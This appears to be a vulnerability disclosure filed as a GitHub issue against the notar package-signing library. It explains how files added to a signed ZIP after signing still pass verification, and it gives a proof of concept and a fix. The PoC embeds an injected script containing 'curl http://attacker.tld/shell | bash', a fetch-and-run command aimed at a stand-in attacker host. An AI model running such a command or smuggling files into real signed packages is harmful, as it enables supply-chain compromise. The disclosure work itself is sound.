Skip to content

ZIP verification bypass — unsigned extra files accepted as valid package content #1

Description

@mrknight-n1du

Severity: Critical CWE: CWE-349 (Acceptance of Extraneous Untrusted Data With Trusted Data)
Affected versions: @binalyze/notar >= 1.0.1, <= 1.2.0 (verified by extracting npm tarballs and inspecting dist/verify.js)
Affected file: packages/core/src/verify.ts — verifyManifestHashes(), verifyPackage(), verifyZipFromAuthor()

Summary
The verifyPackage() function confirms that every file listed in MANIFEST.json matches its expected hash and signature. However, it never checks the reverse: whether every file inside the ZIP is listed in the manifest. An attacker who obtains a legitimately signed ZIP can append arbitrary files to it after signing. The package will still return valid: true when verified, allowing malicious payloads to be smuggled inside a cryptographically "trusted" package.A validly signed ZIP can be modified by adding new files after signing; verifyPackage/verifyFromAuthor still returns valid: true. This breaks end-to-end package authenticity and enables malicious payload smuggling in a package that is reported as trusted.

Impact
Any system that calls verifyPackage() or verifyFromAuthor() and then processes files from the verified ZIP can be compromised. The verification result valid: true is a false assurance — unsigned files (scripts, binaries, configs) ride alongside authenticated content without triggering any warning. This fully breaks the end-to-end package authenticity guarantee that notar is designed to provide.

Component Overview
ZIP authenticity relies on MANIFEST.json hashes + signature. The implementation validates only the manifest-listed paths.

Real-world attack scenario: a supply-chain actor intercepts a signed release artifact, appends a malicious postinstall.sh or a trojanized binary, and redistributes it. Downstream consumers verify the package, receive valid: true, and proceed to use or execute all files in the ZIP, including the injected payload.

Root Cause
In verify.ts, verifyManifestHashes() does this:

for (const [path, expectedHash] of Object.entries(manifest.files)) {
  // checks each manifest-listed file — correct
}
// ← no check in the other direction: "is every ZIP entry in manifest?"
The ZIP entry set is never compared against manifest.files. Files absent from the manifest are silently accepted.

Proof of concept
for i in 1 2 3 4 5; do
  echo "=== RUN $i ==="
  corepack pnpm --filter @binalyze/notar exec tsx -e '
    import { zipSync, unzipSync } from "fflate";
    import { generateKeyPair, signPackage, verifyPackage } from "./src/index.ts";
    (async () => {
      const enc = (s) => new TextEncoder().encode(s);

      // Step 1: generate a key pair
      const key = await generateKeyPair();
      const meta = {
        name: "pkg", description: "d", version: "1.0",
        author: "example.com", keyId: "key1", publisher: "example.com"
      };

      // Step 2: sign a legitimate ZIP containing only safe.txt
      const signed = await signPackage(
        zipSync({ "safe.txt": enc("safe content") }),
        meta,
        key.privateKey
      );

      // Step 3: unzip the signed package, inject an unsigned file, re-zip
      const entries = unzipSync(signed);
      entries["evil.sh"] = enc("#!/bin/bash\ncurl http://attacker.tld/shell | bash");
      const tampered = zipSync(entries);

      // Step 4: verify the tampered ZIP with the original public key
      const result = await verifyPackage(tampered, key.publicKey);

      const listed = result.details?.files?.map(f => f.path).join(", ");
      const hasEvil = "evil.sh" in entries;
      console.log(`valid=${result.valid} | listed="${listed}" | evil.sh present=${hasEvil}`);
    })();
  '
done

Expected (vulnerable) output — all 5 runs:

valid=true | listed="safe.txt" | evil.sh present=true
The verification passes cleanly. The extra unsigned file is fully invisible to the verifier yet present in the extracted archive.

Step tto Reproduce
Create a signed ZIP package using signPackage() containing one legitimate file (safe.txt).
Decompress the signed ZIP using any standard ZIP library.
Add an arbitrary file (evil.sh) not listed in the manifest.
Re-compress and call verifyPackage(tampered, publicKey).
Observe: result is valid: true despite the injected payload.

Fix Recommendation
Add a bidirectional file-set check in verifyManifestHashes():

// After verifying all manifest-listed files:
const manifestPaths = new Set(Object.keys(manifest.files));
for (const zipEntryPath of Object.keys(zipEntries)) {
if (zipEntryPath === "MANIFEST.json") continue; // expected
if (!manifestPaths.has(zipEntryPath)) {
return { valid: false, error: Unexpected file not in manifest: ${zipEntryPath} };
}
}
Also add regression tests:

"ZIP with extra unsigned file must return valid: false"
"Manifest file count must exactly equal ZIP entry count minus MANIFEST.json"

In-scope according to provided rules:
- "Cryptographic weaknesses (signature forgery, key leakage)"
- "Worker abuse or bypass of verification logic"

  • This is a direct verification-logic bypass and package authenticity failure.

Poc video:

POC-binalyzenotar.mp4

Researcher: MRKNIGHTNIDU
Date: 25/4/2026

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions